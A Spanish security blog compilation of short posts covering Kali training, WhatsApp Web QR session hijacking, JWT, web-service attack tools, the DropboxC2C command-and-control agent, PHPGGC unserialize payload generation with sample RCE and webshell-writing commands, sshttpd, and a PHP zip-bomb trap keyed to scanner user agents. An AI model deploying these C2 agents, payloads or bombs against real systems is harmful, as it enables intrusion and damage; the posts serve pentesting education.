La formación se centra en la plataforma Kali Linux en sí misma, es decir, no esperéis que se traten herramientas o técnicas de pentesting, si no que se enfoca en ayudar a entender, configurar y maximizar el uso de Kali desde cero. Mati Aharoni y Johnny Long aprovecharán la Black Hat de Las Vegas de este año para impartir presencialmente esta formación durante cuatro días.

Y siguiendo el mismo hilo, el libro detalla las características y fundamentos de Kali Linux, se sumerge en el gestor de paquetes de Debian y profundiza en temas más avanzados como la compilación del kernel, el cifrado de particiones, fortificación, configuración del firewall y muchos otros.

Como decimos, tanto el libro como el curso de formación fueron diseñados para ser los principales recursos de los estudiantes que tratan conseguir el KLCP, cuyo examen si es de pago y requiere un voucher (Pearson VUE), pero no deja de ser interesante revisar su contenido para reforzar el uso de, casi con total seguridad, la distribución más famosa para pentesting del momento.

Según Mati Aharoni de Offensive Security "La certificación KLCP, nuestro nuevo programa de formación online y nuestro nuevo libro son nuestros últimos esfuerzos para proveer a nuestra comunidad con los recursos que necesitan para hacer frente a los retos que se encontrarán en su camino", "creemos que sumar ésto a la base de conocimientos de Kali Linux preparará en gran medida a los estudiantes para las demandas de su trabajo y beneficiará a toda la comunidad de seguridad de la información en los años venideros".

Os dejo los enlaces de ambos recursos gratuitos:

Formación: https://kali.training/introduction/abstract/
Libro: https://kali.training/downloads/Kali_Revealed_1st_edition.pdf

whatsapp-phishing o cómo robar la sesión de un usuario de WhatsApp Web

Desde 2015 podemos usar WhatsApp Web mediante un navegador previamente “pareado” con nuestro móvil. Esto aumenta la usabilidad del popular chat pero también abre una vía más para que un tercero malintencionado intercepte nuestra comunicación (MiTM) y secuestre nuestra sesión.

Resumiendo el proceso de login con WhatsApp Web, el Servidor envía un código QR al navegador del usuario, el cual debe ser escaneado por la aplicación del teléfono para que verifique el login contra el servidor. Si es válido el servidor enviará el token correspondiente directamente al navegador:

Si os fijáis en el esquema anterior, el vector de ataque podría ser perfectamente un escenario típico de phising. El atacante sólo tiene que interceptar el código QR y presentárselo a la víctima mediante una página falsa, de tal manera que cuando lo escanee con el móvil y se valide, también recibirá el token que le permitirá autenticarse en WhatsApp Web:


Breaking Token JWT or JWT Exposed !


¿Qué es un TOKEN JWT?

Antes de nada vamos a explicar de que está compuesto un Token JWT a través de una revisión de las diferentes fuentes web grafícas. 
Os dejo los diferentes enlaces a lo largo del texto, para que podáis consultarlos. 

El funcionamiento de un Token JWT es el siguiente:  
"El usuario se autentica en nuestra aplicación, bien con un par usuario/contraseña, o a través de un proveedor como puede ser Twitter, Facebook o Google por ejemplo. 
A partir de entonces, cada petición HTTP que haga el usuario va acompañada de un Token en la cabecera (Authentication: ). 
Este Token no es más que una firma cifrada que permite a nuestro API identificar al usuario. Pero este Token no se almacena en el servidor, si no en el lado del cliente (por ejemplo en localStorage o sessionStorage) y el API es el que se encarga de descrifrar ese Token y redirigir el flujo de la aplicación en un sentido u otro. 
Como los tokens son almacenados en el lado del cliente, no hay información de estado y la aplicación se vuelve totalmente escalable. 
Podemos usar el mismo API para diferentes apliaciones (Web, Mobile, Android, iOS, ...) solo debemos preocuparnos de enviar los datos en formato JSON y generar y descrifrar tokens en la autenticación y posteriores peticiones HTTP a través de un middleware
También nos añade más seguridad. 
Al no utilizar cookies para almacenar la información del usuario, podemos evitar ataques CSRF (Cross-Site Request Forgery) que manipulen la sesión que se envía al backend. Por supuesto podemos hacer que el token expire después de un tiempo lo que le añade una capa extra de seguridad".

Pentesting de web services con WS-Attacker

WS-Attacker es un framework modular para realizar pruebas de intrusión contra servicios web. Es desarrollado por la Cátedra de Seguridad de Redes y Datos de la Universidad Ruhr de Bochumm (Alemania) y la empresa 3curity GmbH.

La idea básica detrás de WS-Attacker es proporcionar la funcionalidad para cargar archivos WSDL y enviar mensajes SOAP a los end points del Servicio Web (que se ejecuta utilizando el marco SoapUI subyacente). Esta funcionalidad puede ampliarse utilizando varios plugins y librerías para crear ataques específicos contra los web services. Pueded encontrar más información sobre la arquitectura de WS-Attacker y su extensibilidad en su paper.


Características

En la versión actual WS-Attacker soporta los siguientes ataques:

- SOAPAction spoofing: ver http://www.ws-attacks.org/index.php/SOAPAction_Spoofing
- WS-Addressing spoofing: ver http://www.ws-attacks.org/index.php/WS-Addressing_spoofing
- XML Signature Wrapping: ver http://nds.rub.de/media/nds/arbeiten/2012/07/24/ws-attacker-ma.pdf
- Ataques DoS basados en XML: ver https://www.nds.rub.de/research/publications/ICWS_DoS
- Nuevos ataques adaptables e inteligentes de denegación de servicio (AdIDoS)
- Ataques de cifrado XML: consultar este blogpost (http://web-in-security.blogspot.de/2015/05/how-to-attack-xml-encryption-in-ibm.html) para obtener una visión general de los ataques y referencias adicionales a  trabajos científicos

DropboxC2C: un agente de post-explotación que usa Dropbox para C&C

DropboxC2C es una herramienta escrita en python por Rio Sherri (0x09AL) que implementa un agente de post-explotación que utiliza la infraestructura de Dropbox para las operaciones de comando y control (C&C). Su autor lo liberó a raíz de que los desarrolladores de Empire implementaran también Dropbox como C2C.

Tiene una parte "servidor" que gestiona todos los agentes (Main.py) y, evidentemente, una parte cliente que hace lo que el servidor dice. ha eliminado las funciones de keylogging para que no se haga un mal uso de la herramienta.

Requiere Python 2.7 y las librerías dropbox, psutil y pyinstaller. La instalación es muy sencilla:

- git clone https://github.com/0x09AL/DropboxC2C.git
- modificar la clave de la API en agent.py y main.py (la clave api se debe crear desde la interfaz web de Dropbox)
- ejecutar setup.bat en una máquina Windows para obtener agent.exe que es el agente "compilado"
- ejecutar main.py y el agente en el servidor comprometido





Proyecto: https://github.com/0x09AL/DropboxC2C

Extensiones para convertir Chrome en una herramienta de pentesting

En cuanto navegadores me declaro incondicional de Firefox desde su nacimiento, me sirvió en su momento para apartarme de IE y he seguido usándolo hasta nuestros días, incluso para pentesting: FireCAT, Hcon STF, Firefox Security Toolkit, OWASP Mantra y algunas otras extensiones siempre han cubierto de sobra mis necesidades y gustos.

Pero hoy en día casi el 45% de la "cuota de mercado" de navegadores la tiene Google Chrome por lo que entiendo que muchos pentesters se sienten más cómodos utilizándolo durante sus auditorías. Por ello y porque nunca hay que cerrarse al uso de nuevas herramientas, me pareció muy interesante una recopilación en Infosec Institute con 19 extensiones que convertirán al popular navegador en una verdadera "caja de utilidades" para pentesting.

Para agregarlas sólo tenéis que seguir cada enlace correspondiente y añadiréis nuevas y potentes funcionalidades, dejando la barra de vuestro navegador de forma similar a la siguiente:


1.- Web developer: es una extensión de Google Chrome que agrega una barra con varias herramientas de desarrollo web en Chrome. Esta extensión ayuda a analizar elementos de la aplicación web como HTML y JS.

2.- Firebug Lite for Google Chrome: Proporciona un rico entorno visual para analizar elementos HTML, elementos DOM y otros Box Model Shading. También permite editar CSS en tiempo real. Ayuda en el análisis de cómo una aplicación está trabajando en el lado del cliente.

3.- D3coder: permite codificar y decodificar texto seleccionado a través del menú contextual. Por lo tanto, reduce el tiempo para codificar y decodificar cadenas utilizando herramientas separadas. Soporta Timestamp, rot13, base64, hashes CRC32, MD5 y SHA1, bin2hex, bin2text, unserialize, etc.

4.- Site Spider: Es una extensión que agrega un crawler en Chrome. Rastrea todas las páginas e informa de todos los enlaces rotos. También se puede configurar añadiendo restricciones y expresiones regulares, que funcionen en el lado del cliente, y usar autenticación para acceder a todas las páginas. Esta extensión es de código abierto.

M/o/Vfuscator o cómo hacer llorar a un reverser

M/o/Vfuscator compila programas en instrucciones "mov"... y sólo "mov". Operaciones aritméticas, comparaciones, saltos, llamadas a funciones y todo lo que necesita un programa se realiza a través de operaciones con mov; No hay código auto-modificado, no hay cálculos TTA (transport triggered architecture) ni nada que se pueda hacer sin mov...


Para que os hagáis una idea del resultado de usar la herramienta, las imágenes siguientes ilustran la compilación de una función sencilla de cálculo de número primo primero con gcc y luego con M/o/Vfuscator.

Ensamblador:

GCC M/o/Vfuscator

Gráficos de control de flujo: 
 
GCC M/o/Vfuscator
Building
 
M/o/Vfuscator utiliza LCC como frontend del compilador. Incluye un script de compilación que descargará automáticamente LCC, lo configurará para el backend de mov, y construirá la herramienta.

Si estás en un sistema de 64 bits, asegúrate de tener disponible una libc de 32 bits (por ejemplo, 'apt-get install libc6-dev-i386' o 'yum install glibc-devel.i686').

git clone https://github.com/xoreaxeaxeax/movfuscator
gd movfuscator
./build.sh
sudo ./install.sh


Si tienes problemas para crear LCC, puedes obtener más detalles sobre el proceso de construcción de LCC en: http://drh.github.io/lcc/current/doc/install.html

Mini-tor: una pequeña herramienta que implementa Tor usando Microsoft CNG/CryptoAPI

Mini-tor es una utilidad de prueba de concepto para acceder a contenidos de Internet y a contenidos ocultos (.onion) a través de los routers tor. Esta herramienta está optimizada para ser lo más pequeña posible (actualmente ~45kb, comprimido con kkrunchy ~19kb), que se logra mediante el uso de Microsoft CryptoAPI/GNC en lugar de embeber OpenSSL.

Uso

Accediendo a Internet a través de mini-tor:
> mini-tor.exe "http://torstatus.blutmagie.de/router_detail.php?FP=847b1f850344d7876491a54892f904934e4eb85d"

Accediendo a Servicios Ocultos a través de mini-tor:
> mini-tor.exe "http://duskgytldkxiuqc6.onion/fedpapers/federndx.htm"

Características

- Mini-tor es compatible con handshakes TAP y NTOR:
      . TAP utiliza DH de 1024 bits.
      . NTOR es un handshake más nuevo y utiliza curve25519.
- Mini-tor puede utilizar CryptoAPI o el más reciente API GNC.
      . es configurable a través de mini/crypto/COMMON.H.
      . ten en cuenta que curve25519 es soportado por GNC sólo en win10+.
    - se incluye una implementación de curve25519-donna. Se puede activar mediante el establecimiento de MINI_CRYPTO_CURVE25519_NAMESPACE a ext para ponerlo en marcha en sistemas antiguos.
      . ten cuenta que GNC::dh<> funcionará sólo en win8.1+, debido al uso de BCRYPT_KDF_RAW_SECRET para ir a buscar secreto compartido.
   - se puede utilizar CAPI::dh<> configurando MINI_CRYPTO_DH_NAMESPACE a CAPI.
 . todo lo demás debe funcionar correctamente en Win7+ (versiones anteriores no son compatibles).
- Mini-tor crea conexiones TLS a través de SCHANNEL (mira en mini/net/ssl_socket.cpp & mini/net/detail/ssl_context.cpp).
- Mini-tor no utiliza CRT o STL por defecto, todo se realiza a partir de cero.
- la versión anterior de mini-tor basada puramente en CryptoAPI se puede encontrar en el git con la etiqueta ms_crypto_api (sin mantenimiento).

Compilación

Se puede compilar mini-tor con Visual Studio 2017, el archivo de solución está incluido. No se requieren otras dependencias.

Proyecto: https://github.com/wbenny/mini-tor

sshttpd: SSH y HTTP/SMTP en el mismo puerto

¿Tienes un servidor en la DMZ o red interna al que sólo se puede acceder externamente por HTTP? ¿Necesitas acceder también por SSH para administrar el servidor (o pivotar a través de él) pero el firewall sólo permite el acceso a un único puerto? No hay problema, con sshttpd es posible multiplexar dos protocolos para acceder a ambos por el mismo puerto:

- SSH/HTTP
- SSH/HTTPS
- SSH/SMTP (sin banners SMTP multilínea)
- HTTPS SNI multiplexing
- SSH/HTTPS con SNI multiplexing

El multiplexado se realiza en la misma dirección IP/IP6 a la que se conectan desde el exterior, así que básicamente sólo cambian los puertos según el servicio detectado.
Podríamos decir que sshttpd es un demonio de conmutación o switching que trabaja en la capa 5 OSI. En el ejemplo más común, se ejecuta de forma transparente en HTTP(S) (opción -L, por defecto 80) y decide si las conexiones entrantes son tráfico SSH o HTTP(S). Si es tráfico HTTP (S) lo redirecciona al puerto definido en HTTP_PORT (-H, por dec 8080) y si el tráfico es SSH a SSH_PORT (-S, por defecto 22), respectivamente.

Instalación y uso

Primero hay que asegurarse de tener la última versión disponible del kernel de Linux y tener instalado nf-conntrack así como libcap y libcap-devel (función capability).

$ git clone https://github.com/stealth/sshttp.git
$ cd sshttp
$ make

Luego hay que editar el script nf-setup indicando el interfaz de red y los puertos (22 y 8080 van bien para el caso de SSH/HTTP) y ejecutarlo para instalar las reglas de proxy (iptables y rutas).
Ni que decir tiene que sshd debe ejecutarse en $SSH_PORT y el servidor web en $HTTP_PORT indicados, y luego ejecutar sshttpd (como root):

# ./nf-setup
Using network device eth0
Setting up port 22 ...
Setting up port 8080 ...
# ./sshttpd -S 22 -L 80 -H 8080 -U nobody -R /var/empty
sshttpd: Using HTTP_PORT=8080 SSH_PORT=22 and local port=80. Going background. Using caps/chroot.
#

15 sitios para practicar hacking (legalmente) este verano

Llega el verano, el calor infernal, la jornada intensiva y las siestas (para algunos afortunados), la piscina y la playa, los chiringuitos y las terracitas... y es relativamente difícil seguir enganchado a un ordenador, más aún una vez que se sale de la cueva ;). Pero para aquellos que aún mantengan la actitud inquebrantable de seguir practicando o tengan la necesidad de recuperar "asignaturas de hacking" para la vuelta al cole en septiembre, os dejo 15 sitios vulnerables para practicar (no sólo inyecciones SQL) que ví en la web de Arkdots:

1. BWAPP

Buggy Web Application de Malik Mesellem es una aplicación web con bugs diseñada para que practiquen estudiantes y pen-testers. Ofrece todos los posibles errores conocidos incluyendo los del proyecto OWASP Top 10 y más de 100 vulnerabilidades. Es una aplicación basada en PHP que utiliza como base de datos MySQL. Puede usarse en Linux o Windows. También ofrece tutoriales. Puede descargarlo desde http://www.itsecgames.com/.

2. Damn Vulnerable iOS application (DVIA)

Esta es una de las pocas aplicaciones móviles para desarrolladores de aplicaciones móviles de iOS. DVIA cubre casi todas las posibles vulnerabilidades y está especialmente diseñada para poner a prueba de forma legal las habilidades de intrusión en aplicaciones iOS. Funciona con iOS versión 7 y superior. También ofrece formación y soluciones a la mayoría de los problemas que los desarrolladores de iOS se enfrentan. Puedes aprender más sobre DVIA en http://damnvulnerableiosapp.com/.

3. Game of Hacks

Game of Hacks es en realidad un juego para probar las habilidades para encontrar bugs y vulnerabilidades en código. Se tienen que cumplir ciertos hitos en un tiempo limitado y se puede añadir tu propio código para obtener retroalimentación de otros jugadores. Se puede jugar a Game of Hacks como un solo jugador o desafiar a un amigo. Ofrecen tres niveles diferentes (principiante, wannabe,y avanzado). Puedes jugar a este juego aquí: http://www.gameofhacks.com/.

4. Google Gruyere

Google Gruyere ayuda en el aprendizaje de tres habilidades básicas:

- encontrar vulnerabilidades de seguridad.
- aprender a aprovechar estas vulnerabilidades como un hacker profesional
- aprender a ocultar bugs y vulnerabilidades a los hackers

Podemos encontrar varios errores de seguridad en Gruyere: XSS (Cross site scripting), XSSI (Cross site script inclusion), DOS (denegación de servicio), filtrado de información y ejecución remota de código. Este codelab se diseñó para aprender a encontrar estos errores y arreglarlos tanto en un entorno real como en Google Gruyere. Para más información visita el sitio web oficial de Google Gruyere: https://google-gruyere.appspot.com/.

5. HackThis !!

Con HackThis !! se puede aprender mucho acerca de la seguridad del sitio web propio. Ofrecen más de 50 niveles que cubren todos los aspectos de hacking, dumping y defaces de un sitio web. También tienen un foro con numerosos usuarios activos y artículos. Es posible registrarse en su sitio web utilizando la cuenta de Facebook o correo electrónico. Puedes visitar su sitio web oficial en https://www.hackthis.co.uk/.

Lista de recursos para aprender ingeniería inversa

Empezamos la semana con un recopilatorio de enlaces para aprender/repasar ingeniería inversa de Jackson Thuraisamy de Security Compass. Básicamente es una serie de recursos que su autor fue recopilando mientras estuvo aprendiendo a encontrar vulnerabilidades de corrupción de memoria en Windows. El resultado es una lista bastante actualizada y variada con vídeos, artículos, tutoriales, writeups, etc., que siempre conviene tener a mano para revisar. Aquí os la dejo:
  1. LiveOverflow Binary Hacking🌟💬
  2. OpenSecurityTraining.info: Introductory Intel x86🌟
  3. OpenSecurityTraining.info: Introduction to Reverse Engineering Software
  4. RPISEC: Modern Binary Exploitation🌟
  5. OpenSecurityTraining.info: The Life of Binaries
  6. OpenSecurityTraining.info: Reverse Engineering Malware
  7. RPISEC: Malware Analysis
  8. The C Programming Language (K&R)
  9. The GNU C Reference Manual
  10. Learn C the Hard Way
  11. Learn C in Y Minutes
  12. Practical Reverse Engineering🌟💬
  13. Practical Malware Analysis: The Hands-On Guide to Dissecting Malicious Software🌟💬
  14. Assembly Language Step-by-Step: Programming with Linux
  15. Wikibooks: x86 Disassembly
  16. A Bug Hunter's Diary🌟💬
  17. Reversing: Secrets of Reverse Engineering🌟💬
  18. The Shellcoder's Handbook: Discovering and Exploiting Security Holes
  19. Windows Internals🌟
  20. Rootkits and Bootkits: Reversing Modern Malware and Next Generation Threats
  21. Basic Dynamic Analysis with IDA Pro and WinDbg💬
  22. A Link to the Past: Abusing Symbolic Links on Windows
  23. Windows Kernel Graphics Driver Attack Surface
  24. bee13oy: Attacking Antivirus Software's Kernel Driver💬
  25. Direct X: Direct Way to Microsoft Windows Kernel
  26. A Window Into Ring 0
  27. Windows Drivers Attack Surface
  28. Malware Unicorn: Reverse Engineering Malware 101🌟
  29. HumbleSec: Assembly to Pseudocode Manually💬
  30. Mozilla: A Crash Course in Memory Management
  31. Corelan Team Exploit Writing
  32. Hacking the PS4: Userland ROP💬
  33. What is a "good" memory corruption vulnerability?🌟
  34. Attacking JavaScript Engines: A case study of JavaScriptCore and CVE-2016-4622
  35. The Stack Clash (Qualys Security Advisory)
  36. Windows Kernel Exploitation Part 3: Arb. Overwrite, NULL Ptr, Type Confusion And Int. Overflow Examples
  37. Windows Kernel Exploitation Part 4: Introduction to Windows Kernel Pool Exploitation
  38. hasherezade: Starting with Windows Kernel Exploitation
  39. Windows Kernel Exploitation Part 0: Kernel Debugging
  40. Windows Kernel Exploitation Part 1: Getting Started With The HackSysTeam Extremely Vulnerable Driver
  41. Windows Kernel Exploitation Part 2: My First Kernel Exploit
  42. A Brief Introduction To Using Z3 With Python
  43. FuzzySecurity Tutorials🌟💬
  44. phoenhex team write-ups🌟💬
  45. Project Zero Issue Tracker🌟💬
  46. Flare-On Challenge Solutions: 2015
  47. Flare-On Challenge Solutions: 2016
  48. Exploiting a Firefox UAF with Shared Array Buffers
  49. Analysis and Exploitation of an ESET Vulnerability
  50. Attacking the Windows NVIDIA Driver
  51. Smashing Flare-On #2 with Concolic Testing
  52. Windows Kernel Resources💬
  53. Dennis Yurichev's Reversing Challenges
  54. Exploit Exercises🌟
  55. Flare-On Challenges
  56. Compiler Explorer🌟💬
  57. HackSys Extreme Vulnerable Windows Driver
  58. Trail of Bits: manticore
  59. Trail of Bits: mcsema💬
  60. QuarksLab: Triton
  61. UCSB: Angr
  62. CMU: Pharos
  63. CEA: miasm
  64. CEA: qira

PHPGGC (PHP Generic Gadget Chains): generador de payloads para unserialize()

El uso de unserialize() con entradas inseguras ha sido durante años una vulnerabilidad muy presente y muchos CMS o frameworks se han abstenido de usarlo a favor del json_decode(), más seguro. Sin embargo, todavía se sigue usando, especialmente en sitios web "hechos a medida", aunque su explotación puede ser complicada si no se conoce el código.

Para un pentester que descubre una manera de deserializar datos el problema está en encontrar gadgets correctos. Si el código es desconocido, uno tiene que recurrir a un exploit binario, que puede ser, aunque factible, muy lento. Aunque cada vez más los desarrolladores web optan por utilizar frameworks y/o bibliotecas en lugar de programar todo desde cero. Tenemos ejemplos como Laravel, Symfony, Zend, Code Igniter para frameworks o Monolog, SwiftMailer para bibliotecas.

Si además tenemos en cuenta que se utiliza a menudo el mecanismo de autoload y que se pueden detectar las dependencias (por ejemplo, a través de composer.json), explotar con éxito unserialize() en entornos desconocidos se basa sólo en la construcción de payloads de gadgets extraídos de bibliotecas comunes. Si no se puede identificar ninguna biblioteca, probar payloads uno a uno sigue siendo una opción.

Por lo tanto, resulta tremendamente interesante construir una biblioteca de cadenas de gadgets, de manera similar a ysoserial de Java. Y con esa intención Ambionics Security ha creado PHPGGC (PHP Generic Gadget Chains): una biblioteca de payloads unserialize() junto con una herramienta para generarlas desde la línea de comandos o mediante programación. Uno sólo tiene que seleccionar una cadena de gadget, especificar el comando(s) que quiere ejecutar y se muestra el payload correspondiente.

De momento ya tienen payloads para las últimas versiones de:
  •     Laravel
  •     Symfony
  •     SwiftMailer
  •     Monólogo
  •     SlimPHP
  •     Doctrina
  •     Engullir
Instalación y parámetros disponibles:
$ git clone https://github.com/ambionics/phpggc.git
$ cd phpggc
$ ./phpggc 

PHPGGC: PHP Generic Gadget Chains
---------------------------------

Usage
  ./phpggc [-h|-l|-w|-h|-s|-u|-b] <GadgetChain> [arguments]

Optional parameters
  -h Displays advanced help
  -l Lists available gadget chains
  -w <wrapper>
     Specifies a file containing a function: wrapper($payload)
     This function will be called before the generated gadget is serialized.
  -s Soft URLencode
  -u URLencodes the payload
  -b Converts the output into base64

Examples
  ./phpggc Laravel/RCE1 'phpinfo().die();'
  ./phpggc SwiftMailer/FW1 /var/www/html/shell.php /tmp/local_file_to_write

Defiende tu sitio web con ¡bombas zip!

Hoy en el blog de Christian Haschek leía una curiosa contramedida contra escáneres de vulnerabilidades web automáticos. Se trata de servir una bomba zip (en formato gzip para que lo "entiendan" los navegadores web) para que, cuando el servidor detecte actividad de una estas herramientas automáticas, envíe el archivo para que sea procesado y agote los recursos (memoria y disco) de la máquina del atacante.

Para crear una bomba sencilla, un fichero lleno de ceros, podemos ejecutar el siguiente comando desde la consola:
$ dd if=/dev/zero bs=1M count=10240 | gzip > 10G.gzip
10240+0 records in
10240+0 records out
10737418240 bytes (11 GB, 10 GiB) copied, 67,6557 s, 159 MB/s

$ du -sh 10G.gzip 
10M    10G.gzip

Como veis, hemos creado un fichero de 10M que se convertirá en 10GB al descomprimirse. Ahora, para construir una simple defensa simplemente usa un pequeño script que, dependiendo del User-Agent, enviará la "bomba" creada:
<?php
$agent = lower($_SERVER['HTTP_USER_AGENT']);

//check for nikto, sql map or "bad" subfolders which only exist on wordpress
if (strpos($agent, 'nikto') !== false || strpos($agent, 'sqlmap') !== false || startswith($url,'wp-') || startswith($url,'wordpress') || startswith($url,'wp/'))
{
      sendBomb();
      exit();
}

function sendBomb(){
        //prepare the client to recieve GZIP data. This will not be suspicious
        //since most web servers use GZIP by default
        header("Content-Encoding: gzip");
        header("Content-Length: ".filesize('10G.gzip'));
        //Turn off output buffering
        if (ob_get_level()) ob_end_clean();
        //send the gzipped file to the client
        readfile('10G.gzip');
}

function startsWith($haystack,$needle){
    return (substr($haystack,0,strlen($needle)) === $needle);
}

Como dice su autor, no es la "panacea" puesto que todos sabemos que cambiar el User-Agent es trivial, pero ya supondría una molestia para script kiddies y podrían implementarse otros triggers (por número de peticiones, IPs o países, payloads, etc.).

El resultado dependiendo del navegador o herramienta utilizada sería el siguiente:

- IE 11: se incrementa la memoria, IE se bloquea
- Chrome: se incrementa la memoria, se muestra un error
- Edge: se incrementa la memoria, luego drippea y carga en bucle
- Nikto: parece escanear bien pero no reporta nada (ninguna salida)
- SQLmap: alto uso de memoria hasta que se bloquea

Fuente: How to defend your website with ZIP bombs